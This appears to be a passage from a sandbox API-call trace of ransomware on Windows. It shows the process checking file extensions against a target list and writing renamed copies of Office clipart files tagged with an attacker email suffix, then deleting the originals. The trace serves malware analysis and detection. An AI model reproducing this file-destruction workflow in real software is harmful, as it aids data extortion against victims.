	[0170.326] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.439] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=5868) returned 1
	[0170.440] CloseHandle (hObject=0x558) returned 1
	[0170.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf")) returned 0x220
	[0170.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0171.033] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.033] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0171.035] GetLastError () returned 0x0
	[0171.035] ReadFile (in: hFile=0x560, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x16ec, lpOverlapped=0x0) returned 1
	[0171.070] WriteFile (in: hFile=0x570, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x16f0, lpOverlapped=0x0) returned 1
	[0171.071] ReadFile (in: hFile=0x560, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.071] WriteFile (in: hFile=0x570, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.071] SetEndOfFile (hFile=0x570) returned 1
	[0171.072] CloseHandle (hObject=0x570) returned 1
	[0171.072] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.072] SetEndOfFile (hFile=0x560) returned 1
	[0171.075] CloseHandle (hObject=0x560) returned 1
	[0171.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.075] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf")) returned 1
	[0171.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0171.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0171.077] lstrlenW (lpString=".doc") returned 4
	[0171.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.077] lstrlenW (lpString=".docx") returned 5
	[0171.077] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0171.077] lstrlenW (lpString=".pdf") returned 4
	[0171.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.077] lstrlenW (lpString=".xls") returned 4
	[0171.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.077] lstrlenW (lpString=".xlsx") returned 5
	[0171.077] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0171.077] lstrlenW (lpString=".ppt") returned 4
	[0171.077] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0171.077] lstrlenW (lpString=".zip") returned 4
	[0171.077] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.077] lstrlenW (lpString=".rar") returned 4
	[0171.077] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.077] lstrlenW (lpString=".bz2") returned 4
	[0171.077] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.077] lstrlenW (lpString=".7z") returned 3
	[0171.077] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0171.078] lstrlenW (lpString=".dbf") returned 4
	[0171.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0171.078] lstrlenW (lpString=".1cd") returned 4
	[0171.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0171.078] lstrlenW (lpString=".jpg") returned 4
	[0171.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.078] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=11288) returned 1
	[0171.078] CloseHandle (hObject=0x560) returned 1
	[0171.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf")) returned 0x220
	[0171.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0171.080] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.080] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0171.081] GetLastError () returned 0x0
	[0171.081] ReadFile (in: hFile=0x560, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x2c18, lpOverlapped=0x0) returned 1
	[0171.093] WriteFile (in: hFile=0x570, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x2c20, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x2c20, lpOverlapped=0x0) returned 1
	[0171.094] ReadFile (in: hFile=0x560, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.094] WriteFile (in: hFile=0x570, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.094] SetEndOfFile (hFile=0x570) returned 1
	[0171.094] CloseHandle (hObject=0x570) returned 1
	[0171.094] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.094] SetEndOfFile (hFile=0x560) returned 1
	[0171.097] CloseHandle (hObject=0x560) returned 1
	[0171.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.098] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf")) returned 1
	[0171.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0171.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0171.099] lstrlenW (lpString=".doc") returned 4
	[0171.099] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.099] lstrlenW (lpString=".docx") returned 5
	[0171.099] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0171.099] lstrlenW (lpString=".pdf") returned 4
	[0171.099] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.099] lstrlenW (lpString=".xls") returned 4
	[0171.099] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.099] lstrlenW (lpString=".xlsx") returned 5
	[0171.099] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0171.099] lstrlenW (lpString=".ppt") returned 4
	[0171.099] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0171.099] lstrlenW (lpString=".zip") returned 4
	[0171.099] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.100] lstrlenW (lpString=".rar") returned 4
	[0171.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.100] lstrlenW (lpString=".bz2") returned 4
	[0171.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.100] lstrlenW (lpString=".7z") returned 3
	[0171.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0171.100] lstrlenW (lpString=".dbf") returned 4
	[0171.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0171.100] lstrlenW (lpString=".1cd") returned 4
	[0171.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0171.100] lstrlenW (lpString=".jpg") returned 4
	[0171.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.101] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=6532) returned 1
	[0171.101] CloseHandle (hObject=0x560) returned 1
	[0171.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf")) returned 0x220
	[0171.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0171.102] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.102] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0171.103] GetLastError () returned 0x0
	[0171.103] ReadFile (in: hFile=0x560, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x1984, lpOverlapped=0x0) returned 1
	[0171.114] WriteFile (in: hFile=0x570, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x1990, lpOverlapped=0x0) returned 1
	[0171.115] ReadFile (in: hFile=0x560, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.115] WriteFile (in: hFile=0x570, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.115] SetEndOfFile (hFile=0x570) returned 1
	[0171.116] CloseHandle (hObject=0x570) returned 1
	[0171.116] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.116] SetEndOfFile (hFile=0x560) returned 1
	[0171.295] CloseHandle (hObject=0x560) returned 1
	[0171.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf")) returned 1
	[0171.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0171.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0171.297] lstrlenW (lpString=".doc") returned 4
	[0171.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.297] lstrlenW (lpString=".docx") returned 5
	[0171.297] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0171.297] lstrlenW (lpString=".pdf") returned 4
	[0171.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.297] lstrlenW (lpString=".xls") returned 4
	[0171.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.297] lstrlenW (lpString=".xlsx") returned 5
	[0171.297] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0171.297] lstrlenW (lpString=".ppt") returned 4
	[0171.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0171.297] lstrlenW (lpString=".zip") returned 4
	[0171.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.297] lstrlenW (lpString=".rar") returned 4
	[0171.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.297] lstrlenW (lpString=".bz2") returned 4
	[0171.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.297] lstrlenW (lpString=".7z") returned 3
	[0171.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0171.298] lstrlenW (lpString=".dbf") returned 4
	[0171.298] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0171.298] lstrlenW (lpString=".1cd") returned 4
	[0171.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0171.298] lstrlenW (lpString=".jpg") returned 4
	[0171.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.299] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=7964) returned 1
	[0171.299] CloseHandle (hObject=0x560) returned 1
	[0171.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf")) returned 0x220
	[0171.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0171.300] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.300] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0171.301] GetLastError () returned 0x0
	[0171.301] ReadFile (in: hFile=0x560, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x1f1c, lpOverlapped=0x0) returned 1
	[0171.318] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x1f20, lpOverlapped=0x0) returned 1
	[0171.319] ReadFile (in: hFile=0x560, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.320] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.320] SetEndOfFile (hFile=0x51c) returned 1
	[0171.320] CloseHandle (hObject=0x51c) returned 1
	[0171.320] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.320] SetEndOfFile (hFile=0x560) returned 1
	[0171.323] CloseHandle (hObject=0x560) returned 1
	[0171.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.324] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf")) returned 1
	[0171.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0171.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0171.325] lstrlenW (lpString=".doc") returned 4
	[0171.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.325] lstrlenW (lpString=".docx") returned 5
	[0171.325] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0171.325] lstrlenW (lpString=".pdf") returned 4
	[0171.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.325] lstrlenW (lpString=".xls") returned 4
	[0171.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.325] lstrlenW (lpString=".xlsx") returned 5
	[0171.325] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0171.325] lstrlenW (lpString=".ppt") returned 4
	[0171.325] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0171.325] lstrlenW (lpString=".zip") returned 4
	[0171.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.325] lstrlenW (lpString=".rar") returned 4
	[0171.325] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.325] lstrlenW (lpString=".bz2") returned 4
	[0171.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.326] lstrlenW (lpString=".7z") returned 3
	[0171.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0171.326] lstrlenW (lpString=".dbf") returned 4
	[0171.326] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0171.326] lstrlenW (lpString=".1cd") returned 4
	[0171.326] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0171.326] lstrlenW (lpString=".jpg") returned 4
	[0171.326] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.333] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=11492) returned 1
	[0171.334] CloseHandle (hObject=0x364) returned 1
	[0171.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf")) returned 0x220
	[0171.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0171.335] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.335] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0171.336] GetLastError () returned 0x0
	[0171.336] ReadFile (in: hFile=0x364, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x2ce4, lpOverlapped=0x0) returned 1
